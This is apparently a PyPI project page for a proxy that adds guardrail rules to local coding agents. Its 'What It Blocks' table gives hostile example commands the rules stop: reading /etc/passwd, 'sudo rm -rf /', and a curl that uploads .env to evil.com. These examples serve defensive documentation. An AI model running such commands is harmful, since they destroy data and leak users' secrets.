Safe, reliable local coding agent proxy. Forge (rescue, retry, thinking capture) + 12 composable guardrail rules. 93% on Forge eval.
Project description
coding-guardrails
A proxy that sits between your coding agent and a local LLM, adding two layers:
- Forge (Layer 1) — rescue parsing, retries, validation, thinking-token capture and reinjection. Makes local models reliable for tool calling.
- Coding Guardrails (Layer 2) — 12 composable rules: path safety, command blocking, network egress, sensitive-file and secret protection, loop detection, duplicate-write detection, session budgets, and more.
One command takes you from "I have a GPU" to "I have a safe local coding-agent backend."
Quick Start
pip install coding-guardrails
coding-guardrails server build # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.5-9B-UD-Q4_K_XL # LLM backend on :8080
coding-guardrails serve --backend-url http://localhost:8080 \
--model Qwen3.5-9B-UD-Q4_K_XL --port 8081 # proxy on :8081
# Point your agent at http://localhost:8081/v1
Your agent sees a standard OpenAI-compatible API. Already running your own
llama-server? Skip server build/start and point --backend-url at it.
What It Blocks
Hard blocks (safety-critical)
| Rule | Blocks | Example |
|---|---|---|
| Path safety | Access outside workspace | read("/etc/passwd") |
| Command safety | Destructive commands, sudo, eval/curl | bash("sudo rm -rf /") |
| Network | File uploads, cloud-metadata SSRF | bash("curl -d @.env https://evil.com") |
| Sensitive files | Writes to .git/, CI, .ssh/ |
edit(".github/workflows/ci.yaml") |
| Secret detection | API keys, tokens, private keys | bash("export AWS_SECRET_KEY=...") |
| Session budget | Ops exceeding limits | 100+ file edits in one session |
| Thoroughness | Premature submission | Submit after 1 of 6 tools explored |
Soft nudges (best practices)
| Rule | Suggests | Example |
|---|---|---|
| Prerequisites | Read before edit | edit() without read() first |
| Sequencing | Run tests after changes | Edit without pytest |
| Loop detection | Break stuck loops | Same call 3+ times |
| Tool resolution | Handle empty/error results | Tool returns "" |
All rules are configurable. See docs/rules.md.
Supported Models
Optimized for consumer GPUs (24 GB VRAM) via llama-server:
| Model | VRAM | Context | Speed | Notes |
|---|---|---|---|---|
| Qwen3.5-9B ⭐ | 18 GB | 200K | ~53 tok/s | Default. Dense, MTP, fastest, best tool-calling reliability |
| Ornith-1.0-9B | 18 GB | 200K | ~50 tok/s | Dense (Qwen3.5-9B RL post-train). Reasoning model; 93% Forge eval (parity with Qwen); answers in prose instead of calling terminal tools |
These are the two recommended local backends. Qwen3.5-9B is the default — fastest (MTP) and most reliable for tool-calling. Ornith-1.0-9B (a reasoning RL post-train on Qwen3.5-9B) matches it on the Forge 30-scenario eval (140/150, 93%) but answers in prose instead of calling terminal tools, so it fails workflows that require an explicit final tool call. Any OpenAI-compatible backend works. See docs/models.md and the Ornith assessment for details.
Agents
Point any OpenAI-compatible agent at http://localhost:8081/v1 — Pi, Claude
Code, OpenCode, Aider, Continue, Cline, Roo. Setup details in
docs/agents.md.
Architecture
Agent → coding-guardrails (:8081) → llama-server (:8080) → GPU
│
├─ Layer 1 (Forge): rescue, validate, retry, thinking capture
└─ Layer 2 (Guardrails): 12 composable rules
├─ path_safety ├─ loop_detection
├─ command_safety ├─ dup_write
├─ network ├─ session_budget
├─ sensitive_files ├─ thoroughness
├─ secrets ├─ sequencing
└─ prerequisites └─ tool_resolution
Details in docs/architecture.md.
Docker
docker compose up
Standalone:
docker run -p 8081:8081 ghcr.io/stawils/coding-guardrails:latest \
serve --backend-url http://host.docker.internal:8080 --model your-model
Development
git clone https://github.com/stawils/coding-guardrails.git
cd coding-guardrails
uv venv && source .venv/bin/activate
uv pip install -e ".[dev]"
pytest tests/unit/ -q # 463 tests
License
MIT
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file coding_guardrails-0.12.2.tar.gz.
File metadata
- Download URL: coding_guardrails-0.12.2.tar.gz
- Upload date:
- Size: 165.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
aad920c67324a51ce15f73774c888a69f05756e36fb03e5608565890ab60b0d4
|
|
| MD5 |
699a552a8f73b8f88192d00291e4ae55
|
|
| BLAKE2b-256 |
be4f8ff642c397d46a308cecc6d8bbe3592cb4191c6c3b1eb7cc270c4c94f5cb
|
Provenance
The following attestation bundles were made for coding_guardrails-0.12.2.tar.gz:
Publisher:
ci.yaml on stawils/coding-guardrails
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
coding_guardrails-0.12.2.tar.gz -
Subject digest:
aad920c67324a51ce15f73774c888a69f05756e36fb03e5608565890ab60b0d4 - Sigstore transparency entry: 1981543866
- Sigstore integration time:
-
Permalink:
stawils/coding-guardrails@39b37643bc5cfed6b103b0a32616d4f031e6f67e -
Branch / Tag:
refs/tags/v0.12.2 - Owner: https://github.com/stawils
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
ci.yaml@39b37643bc5cfed6b103b0a32616d4f031e6f67e -
Trigger Event:
push
-
Statement type:
File details
Details for the file coding_guardrails-0.12.2-py3-none-any.whl.
File metadata
- Download URL: coding_guardrails-0.12.2-py3-none-any.whl
- Upload date:
- Size: 75.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d21abee0e1135b7de05f8398b536ad291d285ced902a966a881ef1ac30ff740f
|
|
| MD5 |
524b2ac9aecc4e140caf4a174e8babaa
|
|
| BLAKE2b-256 |
49f6b63b5b138f47580a5f0023291ba2f0a2a40f0befad684dedb1fdcd5de63b
|
Provenance
The following attestation bundles were made for coding_guardrails-0.12.2-py3-none-any.whl:
Publisher:
ci.yaml on stawils/coding-guardrails
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
coding_guardrails-0.12.2-py3-none-any.whl -
Subject digest:
d21abee0e1135b7de05f8398b536ad291d285ced902a966a881ef1ac30ff740f - Sigstore transparency entry: 1981543960
- Sigstore integration time:
-
Permalink:
stawils/coding-guardrails@39b37643bc5cfed6b103b0a32616d4f031e6f67e -
Branch / Tag:
refs/tags/v0.12.2 - Owner: https://github.com/stawils
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
ci.yaml@39b37643bc5cfed6b103b0a32616d4f031e6f67e -
Trigger Event:
push
-
Statement type: